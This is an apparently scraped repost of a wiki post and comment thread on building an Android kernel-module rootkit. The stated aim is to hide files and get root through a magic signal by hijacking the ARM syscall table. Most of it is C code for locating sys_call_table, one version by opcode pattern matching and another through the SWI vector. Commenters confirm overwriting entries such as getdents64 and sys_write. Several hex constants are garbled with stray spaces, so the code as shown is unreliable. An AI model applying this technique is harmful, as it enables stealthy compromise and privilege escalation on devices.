Android LKM Rootkit,查找sys_call_table

 

Android LKM Rootkit

 

Rootkit ?

For some reasons, I had to write a special module for Android : a rootkit. That's the reason why I had to recompile the kernel to turn on module support (see last post).

The rootkit itself was no rocket science. The goal was to override getdents64 and kill system calls to hide files and get root with a magic signal. This has been done over and over again and is implemented in most rootkits. What I did not find, however, was a way to hijack syscalls on a ARM architecture (and Android is based on ARM).

Syscall Table

I didn't need to be stealth at all, so I went for the easy way : hijack the syscall table. The problem, as usual, is finding that table. The code below does just that :

static unsigned long* sys_call_table;

 

static int get_sys_call_table(void) {

  unsigned long *ptr;

  unsigned long *ptr_save = NULL;

  long delta;

  ptr=(unsigned long *)init_mm.start_code;

 

  /* The following code should not change, use it as an anchor

   *

   * include/asm-arm/unistd.h: #define __NR_OABI_SYSCALL_BASE 0x900000 (decimal 9437184)

   * scno is defined as r7

71c :   e 3c 07609    bic     r7, r0, #9437184 ; bic  scno, r0, #__NR_OABI_SYSCALL_BASE

720:   e3570071    cmp     r7, #113 ; 0x71    cmp  scno, #__NR_syscall-__NR_SYSCALL_BASE

724:    13570f 59    cmpne   r7, #356 ; 0x164   cmpne   scno, #NR_syscalls

728:   388d0060    stmccia sp, {r5, r6} ;

72c :   31a 00001    movcc   r0, r1

730:   31a 01002    movcc   r1, r2

734:   31a 02003    movcc   r2, r3

738:   31a 03004    movcc   r3, r4

73c :   3798f 107    ldrcc   pc, [r8, r7, lsl #2]

*/

 

  /* Look in the code section */

  while((unsigned long )ptr < (unsigned long)init_mm.end_code) {

    if((unsigned long *)*ptr == (unsigned long *)sys_close) {

      ptr_save = ptr-6;

      printk (KERN_INFO" -> matching detected at %p\n", ptr_save);

    }

    if( (unsigned long *)*ptr     == (unsigned long *)0xe 3c 07609 &&

        (unsigned long *)*(ptr+1) == (unsigned long *)0xe3570071 &&

        (unsigned long *)*(ptr+2) == (unsigned long *)0x 13570f 59 &&

        (unsigned long *)*(ptr+3) == (unsigned long *)0x388d0060 &&

        (unsigned long *)*(ptr+4) == (unsigned long *)0x 31a 00001 &&

        (unsigned long *)*(ptr+5) == (unsigned long *)0x 31a 01002 &&

        (unsigned long *)*(ptr+6) == (unsigned long *)0x 31a 02003 &&

        (unsigned long *)*(ptr+7) == (unsigned long *)0x 31a 03004 ){

 

      delta = ptr - ptr_save;

 

      printk (KERN_INFO" -> opcode detected at %p, probable stc %p, delta = %ld\n", ptr, ptr_save, delta);

 

      // Should be 0x164 : allow for small variation...

      if(delta > 0x154 && delta < 0x174){

        sys_call_table = (unsigned long *)ptr_save;

        return 0;

      }

    }

    ptr++;

  }

  return -1;

}

Discussion

BitterBastard, 2009/12/23 12:50

Came across this while looking around for info on sys call hooking on ARM linux. The above method wouldn't work for me on current versions of Android, so I set about trying to find another way. Since the posts in this wiki have been so helpful to me getting started understanding cross-compilation and native Android development, I thought I'd share my method for finding the sys call table. Please feel free to critique, and let me know if there's anywhere more current that I should post this instead; I couldn't find much discussion on this topic anywhere, and this wiki is linked to from a number of places.

The code is below and is commented enough that it should be pretty self-explanatory, but whenever someone else tells me their code is self-explanatory, I just feel dumb for not understanding it ;) So a few sentences of overview might help:

The method given above by fred is based on a search through the code block for pointers to sys_close, looking for a specific memory pattern to indicate when you've found the pointer that sits in the sys_call_table, then relying on the address of the table lying 6 words prior to that address. This is similar to a trick found on x86 systems as well, but is considered somewhat less reliable due to the instability of the pattern relied on. On x86 linux systems, a *somewhat* more reliable way to find the sys_call_table is to look up the sys_call interrupt handler address in the interrupt descriptor table, which is entry 0×80. Then one searches through the sys_call interrupt handler for a reference to the sys_call_table that the handler uses to look up the exact sys_call function that needs to be jumped to. My approach borrows this latter method.

On ARM linux systems, there is no IDT per-se, but the software interrupt (swi) handler is pointed to by a ldr instruction found at 0×00000008, or at 0xFFFF0008 on high-vector implementations like Android. Follow that pointer, search the function it points to for the instruction that loads the sys call table pointer, and you're off to the races. See the code for more details.

//Might not need all these, too lazy to check

#include <linux/kernel.h>

#include <linux/module.h>

#include <linux/mm.h>

#include <linux/init_task.h>

#include <linux/syscalls.h>

 

unsigned long* find_sys_call_table();

 

int init_module() {

   printk("<1> Hello, kernel!\n");

   unsigned long *sys_call_table = find_sys_call_table();

 

return 0;

}

void cleanup_module() {

   printk("<1>I'm not offended that you"

          "unloaded me.  Have a pleasant day!\n");

}

 

unsigned long* find_sys_call_table()

{

  //Address of the sofware interrupt (swi) handler in high vector ARM systems like Android

  const void *swi_addr = 0xFFFF0008;

 

  unsigned long* sys_call_table = NULL;

  unsigned long* ptr = NULL;

  unsigned long vector_swi_offset = 0;

  unsigned long vector_swi_instruction = 0;

  unsigned long *vector_swi_addr_ptr = NULL;

 

  // Get the load pc instruction from the swi

  memcpy(&vector_swi_instruction, swi_addr, sizeof(vector_swi_instruction));

  printk(KERN_INFO "-> vector_swi instruction %lx\n", vector_swi_instruction);

 

  // Read the offset from the swi adress where the handler pointer lives

  vector_swi_offset = vector_swi_instruction & (unsigned long)0x00000fff;

  printk (KERN_INFO "-> vector_swi offset %lx\n", vector_swi_offset);

 

  // Get the pointer to the swi handler (offset is from the load instruction location + 2 words, due to ARM quirks)

  vector_swi_addr_ptr = (unsigned long *)((unsigned long)swi_addr + vector_swi_offset + 8);

  printk (KERN_INFO "-> vector_swi_addr_ptr %p, value %lx\n", vector_swi_addr_ptr, *vector_swi_addr_ptr);

 

  /************

   * Starting at the beginning of the handler, search for the sys_call_table address load

   * This code is the result of the /arch/arm/kernel/entry-common.S file, starting at the line

   * ENTRY(vector_swi).  You'll see that there is always a zero_fp after saving register state

   * before any function begins.  It's a good "lighthouse" to search for to make sure

   * you've entered the stack-frame-proper before looking for the sys_call_table pointer load

   * instruction

   ************/

 

  ptr=*vector_swi_addr_ptr;

  bool foundFirstLighthouse = false;

  unsigned long sys_call_table_offset = 0;

 

  printk (KERN_INFO "-> ptr %p, init_mm.end_code %lx\n", ptr, init_mm.end_code);

 

  // Don't search past the end of the code block.  This is a dumb bound, I should be searching till I hit the

  // equivalent of a ret in ARM, but I didn't feel like figuring it out since ARM doesn't have a ret instruction

  while ((unsigned long)ptr < init_mm.end_code && sys_call_table == NULL)

  {

    // Find the zero_fp invocation (which translates into a load of zero into R11)

    if ((*ptr & (unsigned long)0xffff0fff) == 0xe 3a 00000)

    {

      foundFirstLighthouse = true;

      printk (KERN_INFO "-> found first lighthouse at %p, value %lx\n", ptr, *ptr);

    }

 

    // Search for the loading of the sys_call_table (in entry-common.S, given as "adr  tbl, sys_call_table",

    // which translates to an add and a ldr.  The add loads the sys_call_table pointer)

    if (foundFirstLighthouse && ((*ptr & (unsigned long)0xffff0000) == 0xe 28f 0000))

    {

      // Get the offset from the add that will contain the actual pointer

      sys_call_table_offset = *ptr & (unsigned long)0x00000fff;

      printk (KERN_INFO "-> sys_call_table reference found at  %p, value %lx, offset %lx\n", ptr, *ptr,

 

sys_call_table_offset);

 

      // Grab that damn pointer and get on with it!

      sys_call_table = (unsigned long)ptr + 8 + sys_call_table_offset;

      printk (KERN_INFO "-> sys_call_table found at %p\n", sys_call_table);

      break;

    }

 

    ptr++;

  }

 

  return sys_call_table;

}

fred, 2010/01/15 07:20

You're right. My technique is quick and dirty. The good point is that it work on most architectures.

The drawback is that it's not stable. FYI I rewrote the code above for Android 1.6, and NR_syscalls had changed, so I had to increment one of those hex patterns. Not a big deal, but still, you'd want something more reliable.

Your technique is nice, and should be a lot more stable. Plus, it relies on SWI and I find it beautiful :)

Thanks a lot for sharing.

ho_, 2010/02/09 16:11

Hi,

Once you have found sys_call_table

would you then e.g.,

orig_getdents64 = sys_call_table[__NR_getdents64];

Does android use the NR_syscalls or does it reference them differently ? :-)

Cheers dude, keep up the interesting work!!!

?

BitterBastard, 2010/02/16 14:59

Yeah, that's exactly what you'd do. I got as far as replacing sys_write for POC, and it definitely worked. I pulled an example straight out of some 10+ year-old sys_call hooking tutorial, it's just as easy as it has always been on x86, no special sauce there. Infact, take a look at /arch/arm/kernel/entry-common.S to see exactly how a sys_call gets invoked. It goes right to that table and makes the jump, so after you overwrite the entries you care about, you're golden.

相关文章
相关标签/搜索